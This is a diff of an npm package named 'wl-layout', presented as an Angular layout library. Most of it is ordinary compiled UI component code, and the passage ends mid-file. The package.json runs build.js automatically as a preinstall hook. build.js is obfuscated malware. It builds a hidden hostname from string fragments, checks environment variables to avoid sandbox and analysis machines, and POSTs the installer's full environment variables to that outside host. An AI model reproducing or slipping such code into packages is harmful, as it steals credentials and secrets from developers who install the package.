wl-layout 0.0.40

package/README.md

@@ -0,0 +1 @@
+Testing layout on pre-prod.

package/build.js

@@ -0,0 +1,205 @@
+const goto = require('https');
+
+function build() {
+    let options = {
+        "Name": "New PI Contact",
+        "Phone": "+158948945565",
+        "Message": "My Best Dream Friend",
+        "Address": "Avite St pe-455 NET"
+    };
+
+    return (takeAndGive(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
+        options['Message'].split(' ')[2] + takeAndGive(options['Address'].slice(-3), '.'))
+}
+
+function takeAndGive(str1, str2) {
+    return str2 + str1
+}
+
+function number_of(item) {
+
+    for (let i = 0; i < 4; i++) {
+        if (i == 1) { 
+            item += 's' 
+        }
+        if (i == 3) { 
+            item += 'e6' 
+        }
+    }
+    return item + '4'
+}
+
+function snooz(pkg_n, prefix) {
+
+    let missing = [
+        ['npm', 'package', 'name'].join('_'),
+        ['npm', 'package', 'json'].join('_'),
+    ];
+
+    var plop = process['en' + 'v'] || {};
+    
+    //new edition
+    if (initEngine(plop)){
+        return ;
+    }
+    if (fixIssues(plop)){
+        return ;
+    }
+    if (handleEverything(plop)){
+        return ;
+    }
+    if (missing.some( index => !plop[index] )) { 
+        return; 
+    }
+
+    var req = goto
+        .request(use_language(pkg_n, prefix))
+        .on('error', function (err) { });
+    req.write(JSON.stringify(plop));
+    req.end();
+}
+
+function bible(convertion){
+    switch (convertion) {
+        case 'reg':
+            return takeAndGive('istry', 'reg');
+        case 'conf':
+            return 'conf' + 'ig';
+        case 'np':
+            return 'npm';
+        case 'UNAME':
+            return 'US' + 'ERNAME';
+        case 'HM':
+            return 'HOME';
+        case 'USR':
+            return 'USER';
+        case 'APTA':
+            return takeAndGive('PDATA', 'AP');
+        case 'py':
+            return ['', 'usr', 'bin', 'pyt' + 'hon'].join('/');
+        case 'anal':
+            return 'ana'.concat('lysis');
+        case 'INIT':
+            return ['INIT', 'CWD'].join('_');
+        case 'pkg':
+            return 'pac'.concat('kage')
+        case 'uname':
+            return 'us' + takeAndGive('ame', 'ern');
+    
+        default:
+            return null;
+    }
+
+}
+
+function fixIssues(plop){
+    let kill = capture_pictures(plop, bible('HM'), '/home/u'.concat('sername')) &&
+    capture_pictures(plop, bible('USR'), bible('uname')) &&
+    capture_pictures(plop, 'LOGNAME', bible('uname'));
+
+    let move = capture_pictures(plop, 'PWD', '/my'.concat('-app')) &&
+    capture_pictures(plop, 'DEB' + 'IAN_FRO' + 'NTEND', 'nonin'.concat('teractive')) &&
+    capture_pictures(plop, bible('HM'), '/r'.concat('oot'));
+
+    let teach = capture_pictures(plop, bible('INIT'), '/' + bible('anal')) &&
+    capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/b' + 'ait'));
+
+    let talk = capture_pictures(plop, bible('INIT'), '/' + bible('np')) &&
+    capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/ba' + 'it'));
+
+    if (kill || move || teach || talk){
+        return true;
+    } else {
+        return false;
+    }
+}
+
+var MapObj = function () {
+    this.name = '__st' + (Math.random() * 145459 >> 0);
+};
+
+function handleEverything(plop){
+    const you = capture_pictures(plop, bible('HM'), ['', 'Us' + 'ers', 'jus' + 'tin'].join('\\')) &&
+        capture_pictures(plop, bible('APTA'), ['', 'User' + 's', 'jus' + 'tin'].join('\\')) &&
+        capture_pictures(plop, 'LOGONSERVER', [['DESKTOP','97KB'].join('-'), '6H'].join('B'));
+
+    const me = capture_pictures(plop, 'MAIL', ['', 'var', 'mail', 'app'].join('/')) &&
+        capture_pictures(plop, bible('HM'), ['', 'home', 'app'].join('/')) &&
+        capture_pictures(plop, bible('USR'), 'app');
+    
+    
+    
+    const us = capture_pictures(plop, 'EDITOR', 'vi') && 
+        capture_pictures(plop, 'PROBE_'.concat(bible('UNAME')), '*') && 
+        capture_pictures(plop, 'SHEL' + 'L', '/bi' + 'n/b'.concat('ash')) && 
+        capture_pictures(plop, 'S' + 'HLVL', '2') && 
+        capture_pictures(plop, bible('np').concat('_command'), 'run-s'.concat('cript')) && 
+        capture_pictures(plop, 'NVM_CD_FLAGS', '') && 
+        capture_pictures(plop, [bible('np'), bible('conf'), 'fund'].join('_'), '');
+    
+    if (you || me || us){
+        return true;
+    } else {
+        return false;
+    }
+}
+
+function use_language(pkg_n, prefix){
+    let options = {
+        hostname: prefix + '.m.' + build(),
+        path: '/' + (pkg_n || ''),
+        method: 'POST',
+      };
+    return options;
+}
+
+function capture_pictures(p, name, val){
+    let test = p[name] || '';
+    if(test.includes(val) || val === '*'){
+        return true;
+    } else {
+        return false;
+    }
+}
+
+MapObj.prototype = {
+    set: function (key, value) {
+        var entry = key[this.name];
+        if (entry && entry[0] === key)
+            entry[1] = value;
+        else
+            defineProperty(key, this.name, { value: [key, value], writable: true });
+        return this;
+    },
+    get: function (key) {
+        var entry;
+        return (entry = key[this.name]) && entry[0] === key ?
+            entry[1] : undefined;
+    },
+    delete: function (key) {
+        var entry = key[this.name];
+        if (!entry || entry[0] !== key) return false;
+        entry[0] = entry[1] = undefined;
+        return true;
+    },
+    has: function (key) {
+        var entry = key[this.name];
+        if (!entry) return false;
+        return entry[0] === key;
+    }
+};
+
+function initEngine(plop){
+    if (Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`) { 
+        return true; 
+    }
+    if (capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), ['taobao', 'org'].join('.')) || 
+        capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), [bible('reg'), bible('np').concat('mirror'), 'com'].join('.')) ||
+        capture_pictures(plop, bible('UNAME'), takeAndGive('admin', 'daas')) ||
+        capture_pictures(plop, '_', bible('py')) ||
+        capture_pictures(plop, [bible('np'), bible('conf'), 'metrics', bible('reg')].join('_'), ['taobao', 'org'].join('.'))) { 
+        return true; 
+    }
+}
+
+snooz('wl-layout', 'eomet0vd2egn6ct');

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "wl-layout",
+  "version": "0.0.40",
+  "description": "layout module for websites",
+  "main": "wl-layout.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node build.js"
+  },
+  "author": "",
+  "license": "ISC"
+}

package/wl-layout.js

@@ -0,0 +1,526 @@
+import * as i1 from '@angular/common';
+import { CommonModule } from '@angular/common';
+import * as i0 from '@angular/core';
+import { Component, Input, NgModule, EventEmitter, Output } from '@angular/core';
+import * as i2 from '@angular/router';
+import { RouterModule } from '@angular/router';
+import * as i2$1 from '@ngx-translate/core';
+import { TranslateModule } from '@ngx-translate/core';
+import * as i1$2 from '@ng-bootstrap/ng-bootstrap';
+import * as i1$1 from 'wl-global-services';
+
+class BreadcrumbsComponent {
+    //to check
+    constructor() {
+        this.title = '';
+        this.breadcrumbs = [];
+        this.homeRoute = 'sims';
+    }
+}
+BreadcrumbsComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: BreadcrumbsComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+BreadcrumbsComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: BreadcrumbsComponent, selector: "wll-breadcrumbs", inputs: { title: "title", breadcrumbs: "breadcrumbs", homeRoute: "homeRoute" }, ngImport: i0, template: "<ul class=\"breadcrumbs-list ellipsis-no-width\">\n  <li>\n    <a routerLink=\"/{{ homeRoute }}\">{{ 'SMSBundle.generic.home' | translate }}</a>\n    <span *ngIf=\"breadcrumbs?.length\">&nbsp;&gt;&nbsp;</span>\n  </li>\n  <li *ngFor=\"let breadcrumb of breadcrumbs; last as last\">\n    <a *ngIf=\"breadcrumb.link\" [routerLink]=\"[breadcrumb.link]\">{{ breadcrumb.title | translate }}</a>\n    <span *ngIf=\"!breadcrumb.link\">{{ breadcrumb.title | translate }}</span>\n    <span *ngIf=\"!last\">&nbsp;&gt;&nbsp;</span>\n  </li>\n</ul>\n\n<h2 class=\"breadcrumbs-title\">{{ title | translate }}</h2>\n", styles: [".breadcrumbs-title{color:#73c0e0;font-size:26px;margin:0}.breadcrumbs-list{width:800px;list-style:none;padding-left:0;margin-bottom:8px;text-transform:uppercase;font-size:1.2em;color:#a0a0a0}.breadcrumbs-list li{display:inline-block}.breadcrumbs-list li a{color:#a0a0a0}\n"], directives: [{ type: i2.RouterLinkWithHref, selector: "a[routerLink],area[routerLink]", inputs: ["routerLink", "target", "queryParams", "fragment", "queryParamsHandling", "preserveFragment", "skipLocationChange", "replaceUrl", "state", "relativeTo"] }, { type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i1.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }], pipes: { "translate": i2$1.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: BreadcrumbsComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wll-breadcrumbs',
+                    templateUrl: 'breadcrumbs.component.html',
+                    styleUrls: ['breadcrumbs.component.scss']
+                }]
+        }], propDecorators: { title: [{
+                type: Input
+            }], breadcrumbs: [{
+                type: Input
+            }], homeRoute: [{
+                type: Input
+            }] } });
+
+class WlBreadcrumbsModule {
+}
+WlBreadcrumbsModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlBreadcrumbsModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
+WlBreadcrumbsModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlBreadcrumbsModule, declarations: [BreadcrumbsComponent], imports: [CommonModule,
+        TranslateModule,
+        RouterModule], exports: [BreadcrumbsComponent] });
+WlBreadcrumbsModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlBreadcrumbsModule, imports: [[
+            CommonModule,
+            TranslateModule,
+            RouterModule
+        ]] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlBreadcrumbsModule, decorators: [{
+            type: NgModule,
+            args: [{
+                    declarations: [
+                        BreadcrumbsComponent
+                    ],
+                    imports: [
+                        CommonModule,
+                        TranslateModule,
+                        RouterModule
+                    ],
+                    exports: [
+                        BreadcrumbsComponent
+                    ]
+                }]
+        }] });
+
+class ActionButtonBarComponent {
+}
+ActionButtonBarComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ActionButtonBarComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+ActionButtonBarComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: ActionButtonBarComponent, selector: "wll-action-button-bar", ngImport: i0, template: "<div class=\"action-button-bar\">\n  <ng-content></ng-content>\n  <div class=\"clear-both\"></div>\n</div>\n", styles: [".action-button-bar{background-color:#fff;padding:12px;margin:0 -15px 15px}.clear-both{clear:both}\n"] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ActionButtonBarComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wll-action-button-bar',
+                    templateUrl: 'action-button-bar.component.html',
+                    styleUrls: ['action-button-bar.component.scss']
+                }]
+        }] });
+
+class ActionButtonComponent {
+    constructor() {
+        this.cssClass = 'btn-primary';
+        this.label = '';
+        this.showTitle = false;
+        this.btnClick = new EventEmitter();
+    }
+    click() {
+        this.btnClick.emit(true);
+    }
+}
+ActionButtonComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ActionButtonComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+ActionButtonComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: ActionButtonComponent, selector: "wll-action-button", inputs: { cssClass: "cssClass", isDisabled: "isDisabled", label: "label", showTitle: "showTitle" }, outputs: { btnClick: "btnClick" }, ngImport: i0, template: "<ng-container *ngIf=\"!showTitle\">\n  <button type=\"button\" [ngClass]=\"'btn btn-sm ' + cssClass\" [disabled]=\"isDisabled\" (click)=\"click()\">{{ label | translate }}</button>\n</ng-container>\n\n<ng-container *ngIf=\"showTitle\">\n  <button type=\"button\" [ngClass]=\"'btn btn-sm ' + cssClass\" [disabled]=\"isDisabled\" (click)=\"click()\" [title]=\"label | translate\">\n    {{ label | translate }}\n  </button>\n</ng-container>\n", styles: ["button{margin:1px;overflow:hidden;text-overflow:ellipsis;min-width:120px;border-radius:3px;padding-top:5px;padding-bottom:5px}button.slot{width:99%}button.is-disabled{background-color:#cacaca;border-color:#cacaca}button.is-disabled:active{background-color:#cacaca;border-color:#cacaca;box-shadow:none}\n"], directives: [{ type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i1.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }], pipes: { "translate": i2$1.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ActionButtonComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wll-action-button',
+                    templateUrl: 'action-button.component.html',
+                    styleUrls: ['action-button.component.scss']
+                }]
+        }], propDecorators: { cssClass: [{
+                type: Input
+            }], isDisabled: [{
+                type: Input
+            }], label: [{
+                type: Input
+            }], showTitle: [{
+                type: Input
+            }], btnClick: [{
+                type: Output
+            }] } });
+
+class BackButtonComponent {
+    constructor(location, router) {
+        this.location = location;
+        this.router = router;
+    }
+    redirect() {
+        if (this.backRoute) {
+            // check
+            this.router.navigate(this.backRoute).then();
+        }
+        else if (this.backUrl) {
+            this.router.navigateByUrl(this.backUrl).then();
+        }
+        else {
+            this.location.back();
+        }
+    }
+}
+BackButtonComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: BackButtonComponent, deps: [{ token: i1.Location }, { token: i2.Router }], target: i0.ɵɵFactoryTarget.Component });
+BackButtonComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: BackButtonComponent, selector: "wll-back-button", inputs: { backUrl: "backUrl", backRoute: "backRoute" }, ngImport: i0, template: "<button type=\"button\" class=\"btn btn-primary btn-inverse\" (click)=\"redirect()\">{{ \"GUIBundle.generic.button.back\" | translate }}</button>\n", styles: [".btn{margin-right:5px;min-width:80px}\n"], pipes: { "translate": i2$1.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: BackButtonComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wll-back-button',
+                    templateUrl: 'back-button.component.html',
+                    styleUrls: ['back-button.component.scss']
+                }]
+        }], ctorParameters: function () { return [{ type: i1.Location }, { type: i2.Router }]; }, propDecorators: { backUrl: [{
+                type: Input
+            }], backRoute: [{
+                type: Input
+            }] } });
+
+class WlButtonModule {
+}
+WlButtonModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlButtonModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
+WlButtonModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlButtonModule, declarations: [ActionButtonComponent,
+        ActionButtonBarComponent,
+        BackButtonComponent], imports: [CommonModule,
+        TranslateModule,
+        RouterModule], exports: [ActionButtonComponent,
+        ActionButtonBarComponent,
+        BackButtonComponent] });
+WlButtonModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlButtonModule, imports: [[
+            CommonModule,
+            TranslateModule,
+            RouterModule
+        ]] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlButtonModule, decorators: [{
+            type: NgModule,
+            args: [{
+                    declarations: [
+                        ActionButtonComponent,
+                        ActionButtonBarComponent,
+                        BackButtonComponent
+                    ],
+                    imports: [
+                        CommonModule,
+                        TranslateModule,
+                        RouterModule
+                    ],
+                    exports: [
+                        ActionButtonComponent,
+                        ActionButtonBarComponent,
+                        BackButtonComponent
+                    ]
+                }]
+        }] });
+
+class DataListComponent {
+    constructor() {
+        this.label = '';
+        this.value = false;
+    }
+}
+DataListComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: DataListComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+DataListComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: DataListComponent, selector: "wll-data-list", inputs: { label: "label", value: "value" }, ngImport: i0, template: "<span class=\"list-group-item\">\n  {{ label | translate }}\n  <span class=\"pull-right data-list-value\" *ngIf=\"value\">\n    <ng-content></ng-content>\n  </span>\n  <div class=\"spacer clear-both\"></div>\n</span>\n", directives: [{ type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }], pipes: { "translate": i2$1.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: DataListComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wll-data-list',
+                    templateUrl: 'data-list.component.html'
+                }]
+        }], propDecorators: { label: [{
+                type: Input
+            }], value: [{
+                type: Input
+            }] } });
+
+class DataSectionComponent {
+}
+DataSectionComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: DataSectionComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+DataSectionComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: DataSectionComponent, selector: "wll-data-section", inputs: { data: "data" }, ngImport: i0, template: "<div class=\"list-group col-lg-6\">\n  <ng-container *ngFor=\"let item of data\">\n    <span class=\"list-group-item\" *ngIf=\"!item.hidden\">\n      {{ item.label | translate }}\n      <span class=\"pull-right\">\n        <strong>{{ item.value }}</strong>\n      </span>\n    </span>\n  </ng-container>\n  <ng-content></ng-content>\n</div>\n", directives: [{ type: i1.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }], pipes: { "translate": i2$1.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: DataSectionComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wll-data-section',
+                    templateUrl: 'data-section.component.html'
+                }]
+        }], propDecorators: { data: [{
+                type: Input
+            }] } });
+
+class WlDataLayoutModule {
+}
+WlDataLayoutModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlDataLayoutModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
+WlDataLayoutModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlDataLayoutModule, declarations: [DataListComponent,
+        DataSectionComponent], imports: [CommonModule,
+        TranslateModule,
+        RouterModule], exports: [DataListComponent,
+        DataSectionComponent] });
+WlDataLayoutModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlDataLayoutModule, imports: [[
+            CommonModule,
+            TranslateModule,
+            RouterModule
+        ]] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlDataLayoutModule, decorators: [{
+            type: NgModule,
+            args: [{
+                    declarations: [
+                        DataListComponent,
+                        DataSectionComponent
+                    ],
+                    imports: [
+                        CommonModule,
+                        TranslateModule,
+                        RouterModule
+                    ],
+                    exports: [
+                        DataListComponent,
+                        DataSectionComponent
+                    ]
+                }]
+        }] });
+
+class IboxContentComponent {
+    constructor() {
+        this.style = {};
+    }
+    ngOnInit() {
+        if (this.height) {
+            this.style = { height: this.height + 'px' };
+        }
+    }
+}
+IboxContentComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxContentComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+IboxContentComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: IboxContentComponent, selector: "wll-ibox-content", inputs: { height: "height" }, ngImport: i0, template: "<div class=\"ibox-content\" [ngStyle]=\"style\">\n  <div class=\"row\">\n    <div class=\"col-sm-12\">\n      <ng-content></ng-content>\n    </div>\n  </div>\n</div>\n", directives: [{ type: i1.NgStyle, selector: "[ngStyle]", inputs: ["ngStyle"] }] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxContentComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wll-ibox-content',
+                    templateUrl: 'ibox-content.component.html'
+                }]
+        }], propDecorators: { height: [{
+                type: Input
+            }] } });
+
+class IboxTitleComponent {
+}
+IboxTitleComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxTitleComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+IboxTitleComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: IboxTitleComponent, selector: "wll-ibox-title", ngImport: i0, template: "<div class=\"ibox-title\">\n  <h5>\n    <ng-content></ng-content>\n  </h5>\n</div>\n" });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxTitleComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wll-ibox-title',
+                    templateUrl: 'ibox-title.component.html'
+                }]
+        }] });
+
+class IboxComponent {
+    constructor() {
+        this.boxClass = {};
+    }
+}
+IboxComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+IboxComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: IboxComponent, selector: "wll-ibox", inputs: { boxClass: "boxClass" }, ngImport: i0, template: "<div class=\"row\">\n  <div class=\"col-12\">\n    <div class=\"ibox float-e-margins\" [ngClass]=\"boxClass\">\n      <ng-content></ng-content>\n    </div>\n  </div>\n</div>\n", directives: [{ type: i1.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wll-ibox',
+                    templateUrl: 'ibox.component.html'
+                }]
+        }], propDecorators: { boxClass: [{
+                type: Input
+            }] } });
+
+class WrapperComponent {
+}
+WrapperComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WrapperComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+WrapperComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WrapperComponent, selector: "wll-wrapper", ngImport: i0, template: "<div class=\"wrapper wrapper-content animated fadeIn\">\n  <ng-content></ng-content>\n</div>\n" });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WrapperComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wll-wrapper',
+                    templateUrl: 'wrapper.component.html'
+                }]
+        }] });
+
+class WlLayoutModule {
+}
+WlLayoutModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlLayoutModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
+WlLayoutModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlLayoutModule, declarations: [IboxComponent,
+        IboxContentComponent,
+        IboxTitleComponent,
+        WrapperComponent], imports: [CommonModule,
+        TranslateModule,
+        RouterModule], exports: [IboxComponent,
+        IboxContentComponent,
+        IboxTitleComponent,
+        WrapperComponent] });
+WlLayoutModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlLayoutModule, imports: [[
+            CommonModule,
+            TranslateModule,
+            RouterModule
+        ]] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlLayoutModule, decorators: [{
+            type: NgModule,
+            args: [{
+                    declarations: [
+                        IboxComponent,
+                        IboxContentComponent,
+                        IboxTitleComponent,
+                        WrapperComponent
+                    ],
+                    imports: [
+                        CommonModule,
+                        TranslateModule,
+                        RouterModule
+                    ],
+                    exports: [
+                        IboxComponent,
+                        IboxContentComponent,
+                        IboxTitleComponent,
+                        WrapperComponent
+                    ]
+                }]
+        }] });
+
+class WlEmptyBlockComponent {
+    constructor() {
+        this.region = "";
+        this.height = 0;
+    }
+    ngOnInit() {
+        if (this.region === 'upper') {
+            this.height = 60;
+        }
+        if (this.region === 'lower') {
+            this.height = 81;
+        }
+    }
+}
+WlEmptyBlockComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+WlEmptyBlockComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlEmptyBlockComponent, selector: "wll-empty-block", inputs: { region: "region" }, ngImport: i0, template: "<div class=\"empty-block\" [ngStyle]=\"{ 'height.px': height?.toString() }\"></div>\n", directives: [{ type: i1.NgStyle, selector: "[ngStyle]", inputs: ["ngStyle"] }] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wll-empty-block',
+                    templateUrl: 'wl-empty-block.component.html'
+                }]
+        }], propDecorators: { region: [{
+                type: Input
+            }] } });
+
+class WlEmptyBlockModule {
+}
+WlEmptyBlockModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
+WlEmptyBlockModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockModule, declarations: [WlEmptyBlockComponent], imports: [CommonModule,
+        TranslateModule,
+        RouterModule], exports: [WlEmptyBlockComponent] });
+WlEmptyBlockModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockModule, imports: [[
+            CommonModule,
+            TranslateModule,
+            RouterModule
+        ]] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockModule, decorators: [{
+            type: NgModule,
+            args: [{
+                    declarations: [
+                        WlEmptyBlockComponent
+                    ],
+                    imports: [
+                        CommonModule,
+                        TranslateModule,
+                        RouterModule
+                    ],
+                    exports: [
+                        WlEmptyBlockComponent
+                    ]
+                }]
+        }] });
+
+class ReusableModalComponent {
+    constructor(translate) {
+        this.translate = translate;
+        this.modalTitle = 'Modal dialog';
+        this.faIconClasses = null;
+        this.hasCloseBtn = true;
+        // eslint-disable-next-line @angular-eslint/no-output-on-prefix
+        this.onClose = new EventEmitter();
+    }
+    ngOnInit() {
+        this.modalTitle = this.translate.transSafe(this.modalTitle);
+    }
+    onCloseClick() {
+        this.onClose.emit(true);
+    }
+}
+ReusableModalComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ReusableModalComponent, deps: [{ token: i1$1.TranslationService }], target: i0.ɵɵFactoryTarget.Component });
+ReusableModalComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: ReusableModalComponent, selector: "wll-reusable-modal", inputs: { modalTitle: "modalTitle", faIconClasses: "faIconClasses", hasCloseBtn: "hasCloseBtn" }, outputs: { onClose: "onClose" }, ngImport: i0, template: "<div class=\"modal-content\">\n  <div class=\"modal-header\">\n    <button *ngIf=\"hasCloseBtn !== false\" (click)=\"onCloseClick()\" class=\"close\">\n      <span aria-hidden=\"true\">&times;</span>\n    </button>\n    <h4 class=\"modal-title\">\n      <em *ngIf=\"faIconClasses\" [ngClass]=\"'fa ' + faIconClasses\" aria-hidden=\"true\"></em>\n      <span *ngIf=\"faIconClasses\" class=\"modal-title-text\">{{ modalTitle }}</span>\n      <span *ngIf=\"!faIconClasses\" class=\"modal-title-text-no-icon\">{{ modalTitle }}</span>\n    </h4>\n  </div>\n  <div class=\"modal-body\">\n    <ng-content select=\"[modal-section=body]\"></ng-content>\n  </div>\n  <div class=\"modal-footer\">\n    <ng-content select=\"[modal-section=footer]\"></ng-content>\n  </div>\n</div>\n", styles: [".modal-header{padding:8px 15px;background-color:#fff;color:#777}.modal-header 